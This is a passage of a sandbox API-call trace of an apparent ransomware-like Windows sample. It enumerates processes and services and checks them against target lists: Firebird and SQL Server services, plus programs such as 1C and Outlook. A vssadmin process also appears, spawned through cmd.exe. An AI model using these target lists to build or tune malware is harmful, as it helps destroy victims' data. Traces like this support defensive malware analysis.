th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0041.287] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0041.287] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0041.287] lstrlenW (lpString="stuff_event.exe") returned 15 [0041.287] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0041.288] lstrlenW (lpString="keywords-copies.exe") returned 19 [0041.288] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0041.289] lstrlenW (lpString="lap.exe") returned 7 [0041.289] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0041.289] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0041.289] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0041.290] lstrlenW (lpString="chrome64b.exe") returned 13 [0041.290] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0041.291] lstrlenW (lpString="cmd.exe") returned 7 [0041.291] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0041.291] lstrlenW (lpString="conhost.exe") returned 11 [0041.291] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0041.292] lstrlenW (lpString="vssadmin.exe") returned 12 [0041.292] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0041.293] CloseHandle (hObject=0x1c0) returned 1 [0041.293] Sleep (dwMilliseconds=0x1f4) [0041.833] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66fb88 [0041.834] EnumServicesStatusExW (in: hSCManager=0x66fb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0041.834] GetLastError () returned 0xea [0041.834] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x123e) returned 0x6e1eb0 [0041.834] EnumServicesStatusExW (in: hSCManager=0x66fb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e1eb0, cbBufSize=0x123e, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e1eb0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0041.835] CloseServiceHandle (hSCObject=0x66fb88) returned 1 [0041.835] lstrlenW (lpString="Appinfo") returned 7 [0041.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0041.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0041.835] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0041.835] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0041.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0041.835] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0041.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.835] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0041.835] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0041.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0041.835] lstrlenW (lpString="AudioSrv") returned 8 [0041.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0041.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0041.835] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0041.836] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0041.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0041.836] lstrlenW (lpString="BFE") returned 3 [0041.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0041.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0041.836] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0041.836] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0041.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0041.836] lstrlenW (lpString="CryptSvc") returned 8 [0041.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0041.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0041.836] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0041.836] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0041.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0041.836] lstrlenW (lpString="CscService") returned 10 [0041.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0041.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0041.836] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0041.836] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0041.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0041.836] lstrlenW (lpString="DcomLaunch") returned 10 [0041.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.836] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0041.836] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0041.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0041.836] lstrlenW (lpString="Dhcp") returned 4 [0041.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0041.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0041.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0041.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0041.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0041.836] lstrlenW (lpString="Dnscache") returned 8 [0041.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0041.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0041.837] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0041.837] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0041.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0041.837] lstrlenW (lpString="DPS") returned 3 [0041.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0041.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0041.837] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0041.837] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0041.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0041.837] lstrlenW (lpString="eventlog") returned 8 [0041.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0041.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0041.837] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0041.837] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0041.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0041.837] lstrlenW (lpString="EventSystem") returned 11 [0041.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0041.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0041.837] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0041.837] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0041.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0041.837] lstrlenW (lpString="gpsvc") returned 5 [0041.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0041.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0041.837] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0041.837] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0041.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0041.837] lstrlenW (lpString="iphlpsvc") returned 8 [0041.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.870] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0041.870] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0041.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0041.871] lstrlenW (lpString="LanmanServer") returned 12 [0041.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0041.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0041.871] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0041.871] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0041.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0041.871] lstrlenW (lpString="LanmanWorkstation") returned 17 [0041.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.871] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0041.871] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0041.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0041.871] lstrlenW (lpString="lmhosts") returned 7 [0041.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0041.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0041.871] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0041.871] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0041.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0041.871] lstrlenW (lpString="MMCSS") returned 5 [0041.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0041.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0041.871] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0041.871] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0041.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0041.871] lstrlenW (lpString="MpsSvc") returned 6 [0041.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0041.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0041.871] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0041.871] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0041.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0041.871] lstrlenW (lpString="Netman") returned 6 [0041.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0041.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0041.871] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0041.871] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0041.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0041.872] lstrlenW (lpString="netprofm") returned 8 [0041.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0041.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0041.872] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0041.872] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0041.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0041.872] lstrlenW (lpString="NlaSvc") returned 6 [0041.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0041.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0041.872] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0041.872] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0041.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0041.872] lstrlenW (lpString="nsi") returned 3 [0041.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0041.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0041.872] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0041.872] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0041.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0041.872] lstrlenW (lpString="PcaSvc") returned 6 [0041.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0041.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0041.872] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0041.872] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0041.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0041.872] lstrlenW (lpString="PlugPlay") returned 8 [0041.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0041.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0041.872] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0041.872] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0041.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0041.872] lstrlenW (lpString="Power") returned 5 [0041.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0041.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0041.872] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0041.872] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0041.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0041.873] lstrlenW (lpString="ProfSvc") returned 7 [0041.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0041.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0041.873] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0041.873] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0041.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0041.873] lstrlenW (lpString="RpcEptMapper") returned 12 [0041.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.873] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0041.873] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0041.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0041.873] lstrlenW (lpString="RpcSs") returned 5 [0041.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0041.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0041.873] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0041.873] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0041.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0041.873] lstrlenW (lpString="SamSs") returned 5 [0041.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0041.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0041.873] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0041.873] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0041.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0041.873] lstrlenW (lpString="Schedule") returned 8 [0041.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0041.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0041.873] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0041.873] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0041.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0041.873] lstrlenW (lpString="SENS") returned 4 [0041.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0041.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0041.873] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0041.873] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0041.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0041.873] lstrlenW (lpString="ShellHWDetection") returned 16 [0041.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.874] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0041.874] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0041.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0041.874] lstrlenW (lpString="Spooler") returned 7 [0041.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0041.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0041.874] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0041.874] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0041.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0041.874] lstrlenW (lpString="SysMain") returned 7 [0041.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0041.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0041.874] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0041.874] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0041.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0041.874] lstrlenW (lpString="Themes") returned 6 [0041.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0041.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0041.874] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0041.874] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0041.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0041.874] lstrlenW (lpString="TrkWks") returned 6 [0041.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0041.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0041.874] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0041.874] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0041.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0041.874] lstrlenW (lpString="UxSms") returned 5 [0041.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0041.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0041.874] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0041.874] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0041.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0041.874] lstrlenW (lpString="VSS") returned 3 [0041.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0041.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0041.875] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0041.875] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0041.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0041.875] lstrlenW (lpString="WdiServiceHost") returned 14 [0041.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.875] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0041.875] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0041.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0041.875] lstrlenW (lpString="WdiSystemHost") returned 13 [0041.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.875] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0041.875] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0041.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0041.875] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0041.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.875] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0041.875] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0041.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0041.875] lstrlenW (lpString="Winmgmt") returned 7 [0041.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0041.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0041.875] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0041.875] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0041.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0041.875] lstrlenW (lpString="WPDBusEnum") returned 10 [0041.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.875] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0041.875] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0041.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0041.875] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6e1eb0 | out: hHeap=0x5f0000) returned 1 [0041.876] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0041.877] Process32FirstW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0041.878] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0041.879] lstrlenW (lpString="System") returned 6 [0041.879] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0041.879] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0041.879] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0041.879] lstrcmpiW 